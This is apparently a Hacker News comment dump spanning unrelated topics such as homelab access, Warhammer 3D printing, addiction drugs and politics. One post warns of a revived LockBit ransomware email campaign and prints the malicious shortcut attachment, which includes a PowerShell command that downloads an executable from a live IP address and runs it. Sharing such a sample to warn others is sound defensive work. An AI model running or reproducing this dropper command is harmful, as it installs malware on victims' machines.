MurphyA/hacker-news huggingface dataset:
by lurking_swe | 2026-01-04 23:29:17+00:00
i’m assuming because of the “web server hosting photos”. Probably Immich if i had to guess?

tailscale is fine if you’re somewhat tech savvy, but it’s annoying to show all your friends and family how to “correctly” access your web server. Too much friction. First download the tailscale app, sign in, blah blah. Then you also are unnecessarily bogging down everyone’s smartphone with a wire guard VPN profile which is…undesirable.

I like tailscale and use it for some stuff. But for web servers that i want my whole family (and some friends) to easily access, a traditional setup makes much more sense. The tradeoff is (obviously) a higher security burden. I protect the web apps in my homelab with SSO (OIDC), among other things.
by Imustaskforhelp | 2026-01-04 23:29:33+00:00
Oh yeah another point, see my other comment as well but if you need to start with nano, all you need is a faucet which you can get for literally free and that's all you need for you to experiment with my project.

You really don't need to spend any money at all and that's actually how I built it. I recommend you to contact me if you wish to run it locally for experiments purposes as it requires bao and nano-vanity-generator, you can take the look at the code

Also I would like to disclose that the code is AI generated. I have no expertise in this field but I found this idea fascinating and saw nobody doing it so did it. But still, I am just proud of my idea and I get good reception whenever I mention this idea (which is quite a lot, tbh I am proud of it a little) so yeah, I love talking about this project's idea fascinating as well and I have expanded upon this work privately to even build ways of creating ones own tokens on top of nano etc. but creating wallet etc. and more abstractions felt wrong and I just wanted to prove it was possible

To be honest, you creating a c2 server on hinge was similar to this feeling of "proving" as well.

To me, its just that if I can prove something, then I can figure out the practical uses of it later (like discussing it right now) etc.

I guess we both are similar in the "proving" way reading your article which is nice to hear, Let me know if you have any questions as I would love to answer!
Ransomeware mail campaign from May 2024 is active again
by newsoftheday | 2026-01-04 23:29:43+00:00
My server is getting blasted with tons of messages as described at the following site (and many others) with Jenny@gsd.com and an attached document:

https://www.msspalert.com/news/lockbit-black-ransomware-campaign-spraying-millions-of-messages

The contents of the document in one email looks like this:

cat Document/Document.doc.lnk
L�F� r��tg��oH��}�a��tg���5P�O� �:i�+00�/C:\V1�[G�Windows@ ﾇOwH$\L�.Y��:WindowsZ1$\jSystem32B ﾇOwH$\��.U�WֲSystem32V2��X�� cmd.exe@ ﾶX��$\��.jg�4�cmd.exeJ-Im4/FC:\Windows\System32\cmd.exe!..\..\..\Windows\System32\cmd.exe�/c powershell.exe ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('http://178.16.54.109/spl.exe','%userprofile%\windrv.exe');Start-Process '%userprofile%\windrv.exe'
shell32.dll�%windir%\System32\cmd.exe%windir%\System32\cmd.exe�%�
�wN��]N�D.��Q���`�Xdesktop-4mksc1r~N8��jEJ�s@d����u^Y��'�
~N8��jEJ�s@d����u^Y��'�
� ��1SPS��XF�L8C���&�m�m-S-1-5-21-711635060-3631344071-1154681243-50091SPS�mD��pH�H@.�=x�hHN�!"0
by therealpygon | 2026-01-04 23:30:12+00:00
Exactly. Brands have happily devalued themselves in favor of profit for many years; if you are presented with two options of equal quality, why would you choose the more expensive simply for a logo, except out of insecurity? If that brand is no longer meaningful in that goal because it is no longer admired, there is no value in paying more. People went with brands because they were supposed to be “better”, and their expense made them less obtainable (therefore more desirable). They are no longer desired because they sold their value for profits.
by skhameneh | 2026-01-04 23:30:18+00:00
I have a mixed take on this.

I don't like the current slop of LLMs where it's poorly implemented and causes more friction/frustration.

But I can also see opportunities for things such as efficient natural language vector searches of my files. But, the implementations of features like this often clash with my desire to have choice over what is cloud synchronized or not. Far too frequently, choice is not an option or overridden. A forced opt-in by default with a feature change is not respecting my choice. Anti-patterns to create friction over choice are not fully respecting my choice.

At the end, I appreciate features that give me options and respect me as a user with my own preferences.
by brunovcosta | 2026-01-04 23:30:22+00:00
You're correct

My approach lives in some place between video streaming and data streaming in terms of performance

It's not intended to be faster than a proper client that brings a lot of logic and information that diminish the amount of information required to be transfered

My proof of concept is more about: Can my dev exp be much better without relying on the video streaming approach? (which is havier)
by garbawarb | 2026-01-04 23:30:39+00:00
The word "extraordinary" has some overblown connotations here. This is the only visa for artists (and it's not even an immigrant visa), and all you need is a track record of success. Which puts you above an ordinary artist, so yes, that's the definition of extraordinary. But the colloquial meaning of the word suggests it's meant to be reserved for some elite 1% of creatives which isn't true.
by marcosdumay | 2026-01-04 23:31:03+00:00
Can we post a single phrase as a HN article? This is one of the main problems with web development nowadays, nobody gets this right... to the point that it's popular to criticize a company trying to hire a single person for both holes as "cheapening out".

Also, this is a really obvious thing. It's unbelievable how the main way people organize is the other way around.
by shepherdjerred | 2026-01-04 23:31:06+00:00
I've been working on something similar: https://github.com/shepherdjerred/monorepo/tree/main/package...

Essentially you run a server on some machine. Sessions are created in Docker containers, K8s pods, or via Zellij (an app similar to tmux). You can:

- Directly attach to sessions via Docker attach (built-in via a TUI). You get a normal Claude Code experience, but multiplexed. The switcher/UI shows you the status of Claude and the PR (pushed, merge conflicts, CI status, review status, etc.)

- Manage sessions via a web UI. Connect to Claude Code directly via your browser. You have access to the usual Claude Code terminal or a native chat view.

- Manage sessions via an app. You have access to a native chat view.

It achieves isolation via Git worktrees + a proxy so that containers have access to zero credentials (there aren't even any Claude code creds in the container), which allows you to more safely use bypass all permissions mode.

This works better for me that Claude Code on Web because I have control over the environment Claude is running in. I can give it any Docker image I want, I can have it connect to my local network, etc.

It's still a WIP (the core bits are there, but it's not polished yet), but I'm hoping it provides a friendlier UX with a similar goal for what the OP has in mind.
by mocamoca | 2026-01-04 23:31:10+00:00
How stopping using hyperscalers models on their infra would "get as much of this capability into the open as possible"?

Either "we" create models better than commercial state of the art (by using whatever means).

Or we use open models AND fund organisations building such models (could be by purchasing service from these orgs or donations - in which case would these orgs be different than hyperscalers?).

But i dont see how just hosting the models on some private servers would give us an edge?
by robocat | 2026-01-04 23:31:12+00:00
But for me, when I drink alcohol, I get high, like energized. For some people, there's a sedating effect. But for me it was very energetic, almost like doing a little bit of, having a little bit of caffeine. I didn't drink to chill out. I drank to get ramped up.

Naltrexone dulls that. There are various different ways to prescribe it, but the Sinclair method, which is what I did, it's very specific.

You take this drug naltrexone [then you wait at least an hour], which is how long it takes to metabolize and then you drink as normally. And when you do, and this doesn't work for --

And this is a really key part of the Sinclair Method. You only take naltrexone in anticipation of drinking. So if you're not going to drink, you do not take naltrexone. And so on alcohol free days, that leaves your opioid receptors, which are integral to this endorphin dump, it leaves them open, unblocked.

And you try to fill your days with things that will create a natural high, this natural endorphin rush. And this is a way of basically retraining your brain to not expect pleasure from alcohol and to expect pleasure from other things.
by protocolture | 2026-01-04 23:31:25+00:00
Yes and No.

Look, 3d printing is almost a psychological thing. You almost nailed it but skipped right past it.

The term proxy used to delineate between wysiwyg and non-wysiwyg. "I am using this chess piece as a marine" The Deoderant Bottle Gravtank from White Dwarf - Not a proxy. They made it custom rules. It was a miniature, and it was furnished with love and care. This culture is now only found in like, airfix or custom scifi modelling.

Modern GW has waged a psychological war on these things, encouraging game stores to do the same.

Proxy is now used, as you have demonstrated, to cover anything not GW. Even if its wysiwyg, its looked down upon, otherised. GW stores have even gone as far as preventing people from playing official GW minis that are end of life in their stores. Soon these will be referred to as like "official proxies" or something.

I have 2 local non GW stores.

Store 1: Owner does not permit unofficial minis in the store at all. Will rant about this policy to anyone who listens. He says there's no way he makes money on printed minis so screw them (I was in the store to purchase paints and brushes and so on for my printed minis when I caught this rant)

Store 2: Has 3 3d printers, sells printing services, sells resin. Doesnt give a crap.

But it doesn't matter in either case, because 40k players are policing each other. GW has shifted the language to otherise armies that even have converted 3d printed bits, let alone full prints.

Not to mention: 3d print resin isnt that bad. The 3d printer business makes a lot of money selling filters and tents and housings and gloves and what not at inflated prices. Some of these things are worthy, others are not. But I was using UV resins for SFX before printers caught on, and guess what, resin fx are smellier and less able to be hidden in a dark corner of your house. Not really a huge impediment. The terror about UV resin seems to be coming both from the people slinging the extra gear, and the people concerned largely with these evil "proxies".

Also, not to put too fine a point on it, but GW mostly makes money from new players. Old grizzled angry veterans arent their bread and butter anyway.

Give it 10 years, let more stores embrace 3d printing, let some more permissive games take hold, and then you might have a chance at killing gee dubs. But they will still be selling huge expensive kits to 12 year olds using mums credit card.
by sanwa | 2026-01-04 23:31:52+00:00
Actually I wanted to engage with you on the original comment on this thread, which was unfortunately flagged. In a separate thread you discussed Shugyo and the value of repetitive training. I find this topic particularly relevant for this thread as I am a lifelong fighting game player, but only recently given serious thought to the craft of fighting games. Not just in playing, but in how they're made.

I've been focusing strictly on my execution lately after I was able to find a method to slow the framerate of the game down. The inspiration came from my musician days where guitar practice consisted mostly of very slow, deliberate repetitions of scales and exercises. The immediate goal was to be able to do the exercise. But the secondary, and perhaps more important, goal was to do the exercise without tension. Trying to consciously do both is challenging. It is only when the exercise has been repeated enough that it is internalized and I can draw my attention to tension.

So in the same way that a scale is like a "combo" of notes, fighting game execution requires very similar timing and awareness of internal tension. Translating this mode of practice means repeating the same simple combos that I use to take for granted, but in a very deliberate and intentional way. I'm talking hour long sessions of the same kick, kick, kick, quarter-circle-back+kick sequence. As a result I feel much greater confidence in my execution.

But also, slowing the game down and doing practice in this way has actually brought a greater appreciation of the design of fighting games. To really internalize when a button should be pressed to successfully execute a combo, a player should anchor their timing to visual and auditory cues. SNK does a really a good job of this with their hit spark animations. Attending to when it appears and when it recedes gives a visual indication of the necessary timing, which is something easily overlooked by casual and even veteran players.

All this to say that there is a subtle and profound undercurrent of craftsmanship that I now appreciate in fighting games.
by laurencerowe | 2026-01-04 23:31:54+00:00
There's also JCO for creating JS based WebAssembly components. It's based on StarlingMonkey which I believe is slightly faster than QuickJS under web assembly. https://github.com/bytecodealliance/jco

Benchmark numbers for request isolated JS hello world / React page rendering:

JCO/wasmtime: 314µs / 13ms
Bun process forking: 1.7ms / 8.2ms
v8 isolate from snapshot: 0.7ms / 22ms
TinyKVM: 52µs / 708µs
Native with reuse 14µs / 640µs

Numbers taken from our upcoming TinyKVM paper. Benchmark setup code for JCO/wasmtime is here: https://github.com/libriscv/kvmserver/tree/main/examples/was...

(I suspect even if we are able to get TinyKVM into a state you'd feel comfortable with in the future it would still be an awkward fit for Datasette since nested virtualisation is not exposed on AWS EC2.)
by wpietri | 2026-01-04 23:32:07+00:00
As a former Wikipedia administrator, I think one of the things that Wikipedia has done exactly right is to strongly prioritize readers first, editors second, and administrators third. The unofficial Wikipedia administrator symbol is a mop, because it's much more a position of responsibility than it is a position of power.

I obviously think you and other user-hostile people should be permitted to congregate and accomplish something. What I object to in Stack Overflow's case is the site being taken over by people like that, serving themselves and their own preferences with such vigor that they alienated vast numbers of potential contributors, putting the site on a path of decline from which is unlikely to recover.

Even by your own terms, having a place for some (conveniently unspecified) group to "congregate in public and try to accomplish something" looks certain to be a failure. However much you don't care about deadness or declining revenue, the people paying the bills surely do. Stack Overflow was only a success because it served and adapted to users.

But I give you points for being honest about your hostility to the entire point of the site. It not only makes it clear why it's failing, but it'll keep people from being sorry when it gets closed down.
by zahlman | 2026-01-04 23:32:08+00:00
Well, yes. Most people want to be given a fish, rather than learning how to fish.

That is not a reason for fishing instructors to give up. And it is not a reason why the facility should hand out fish; and when the instructors go to town and hear gossip about how stingy they are, it really just isn't going to ring true to them.
by tuetuopay | 2026-01-04 23:33:23+00:00
I was puzzled a bit, then realized they only handle schematics. Saying "PCB schematics" is weird.

A schematic is just a representation of a netlist, something where text is more than fine since the graphical form is only for human consumption. An LLM is actually a pretty good fit to cross-reference datasheets and netlists.

Would it be actual PCB layout I would be skeptical as LLMs are quite poor at anything spatial. For schematics however, it could work quite well as a double check.
by lschueller | 2026-01-04 23:33:26+00:00
Difficult. On the one hand, the image of Maduro in cuffs seems odd, e.g. the left side of the overear protection merging with the background and other things. On the other hand, I find it still hard to believe, that the whole world is sharing ai generated images and my brain tries to mark those oddities as some normal photo effects due to low quality camera or something else. This is really difficult to decide, whether or not those images are trustworthy.
by aardvark179 | 2026-01-04 23:34:29+00:00
Obviously there isn’t any of that in Warhammer, at least not officially. Even a pretty niche thing for them is probably at a scale where resin casting would make more sense (assuming they aren’t going to sell or license out STL files). There is a decent unofficial scene around alternative weapons load outs and such like, but it’s not going to destroy GW any time soon.
by squibonpig | 2026-01-04 23:35:27+00:00
This would potentially be true for a lot of tech in the last five decades or so. When it gets cheaper to make the things people need and want without those needs and wants changing, you can get away with paying people a lower real wage for the same productivity. Couple that with the fact that the workers themselves also have typically grown more productive from the same tech, allowing companies to undercut competitors and capture more market share until everyone else catches on. I figure capital has benefited enormously from recent tech, very possible it captured the majority of the excess money produced.
by misiek08 | 2026-01-04 23:36:10+00:00
From my perspective: tons of very simple, duplicated software. The bad thing is - there is a lot of space on different markets for such software. Here in Poland you can earn for pretty decent life being lame programmer, but building simple automations for small companies.
I was raised in a way I still don’t have courage to switch to such approach, but doing this for 3-4 such entities I can see how you can make living from that.
With LLMs you can automate 90+% of the job if not more.
by mattmaroon | 2026-01-04 23:36:29+00:00
I certainly can’t say I expected the exact method of capture, but I had no doubt all of those carriers were moving to the Caribbean for some reason other than show. I figured we would just blow some stuff up and topple the regime that way.

I would guess not at all for any of them. Drugs clearly aren’t that much of the reason involved here. If you were listing the countries that export the most drugs to us, Venezuela wouldn’t even be top five. I am not sure I would be opposed to us taking out cartel leaders in Mexico, but there are certainly a lot of downsides to it that have held us back. I don’t think Gloria Shienbaum is on our enemies list.

What they have that we care about is a third of the world’s oil reserves. They are friendly with our biggest geopolitical rival, China. This is not to endorse what we did at all, but it’s pretty clear that there is a future coming where oil gets scarce, and the last thing we want is China to have a better supply of it than us.

I don’t think this was probably the right way to solve the problem, but it is a problem that needed to be solved, and even though I don’t like it, I have to admit there is a lot of upside.
by johnmwilkinson | 2026-01-04 23:37:06+00:00
Broad strokes: absolutely. The practical reality gets tricky, though. All programming abstractions are imperfect in some regard, so the question becomes what level of imperfection can you tolerate, and is the benefit worth the cost?

I think a lot of becoming a good programmer is about developing the instincts around when it’s worth it and in what direction. To add to the complexity, there is a meta dimension of how much time you should spend trying to figure it out vs just implement something and correct it later.

As an aside, I’m really curious to see how much coding agents shift this balance.
by sbarre | 2026-01-04 23:38:41+00:00
I have a similar system but it's a bit more ongoing.

Since March 2018 I've created a new playlist "[Month Year]" on the 1st of every month, and every time I listen to a song I enjoy (whether it's new or old or whatever - no rules) I add it to that month's playlist. In fact the only "rule" is to never remove a song once it's added.

Then at the end of the year I make 24-song a "Best of [Year]" playlist where I go back and pick 2 songs from each month, in no particular order, to sum up my year in music.

This tends to reflect my music enjoyment (vs listening) much better than Spotify Wrapped, which over-indexes on music I listen to at work or in the car (when I'm often not really paying attention).

I just crossed 100 months back in November or December, and I have to say it's pretty fun to go back and check out a given month/year in the past (much like the author) and revisit what I was into at the time.
by PaulDavisThe1st | 2026-01-04 23:39:10+00:00
I've read articles that suggest that the GLP-1 (Ozempic et al.) drug class tends to drastically diminish addictive desire. The problem is that is reduces all desire (including that for food), which can be a bit of an issue.

I would imagine that if there was a drug that removed the addictive desire for alcohol (and/or some other drugs, perhaps), all of us would know its name.

We certainly have drugs that can almost immediately terminate the effect of, for example, opiates, but that has nothing to do with ending addiction to them.
Show HN: Transferrable reasoning primitives extracted from 34 domains
by dvdarkin | 2026-01-04 23:39:19+00:00
I've created a knowledgebase of reasoning tools from multiple domains. The goal was to find and extract the thinking primitives that transcend original applied domains and can be used in a variety of situations both in daily life and professional work.

Bayesian statistics, system dynamics, mechanism design, game theory and 28 others. Each tool extracted has the same structure: what it is, the key move, where it transfers, how it fails. Some historical context and literature references for further reading are included as well.

The metadata contains extraction prompt that you can use to distill the thinking primitives from your domain of choice.
by _carbyau_ | 2026-01-04 23:39:52+00:00
^ This. ^

The figurines might have to be official and "proper" for tournament play.

But terrain is more vague. Though still dimensionally specified.

And I always feel that it is a shame that so much effort is made to paint armies near perfectly and yet the terrain is flat felt green, or matte grey painted chipboard, with some stuff chucked on it...

A 3D printer can make hills, ruins, furniture, burnt out vehicles - all the other cruft of a gaming universe to give it life!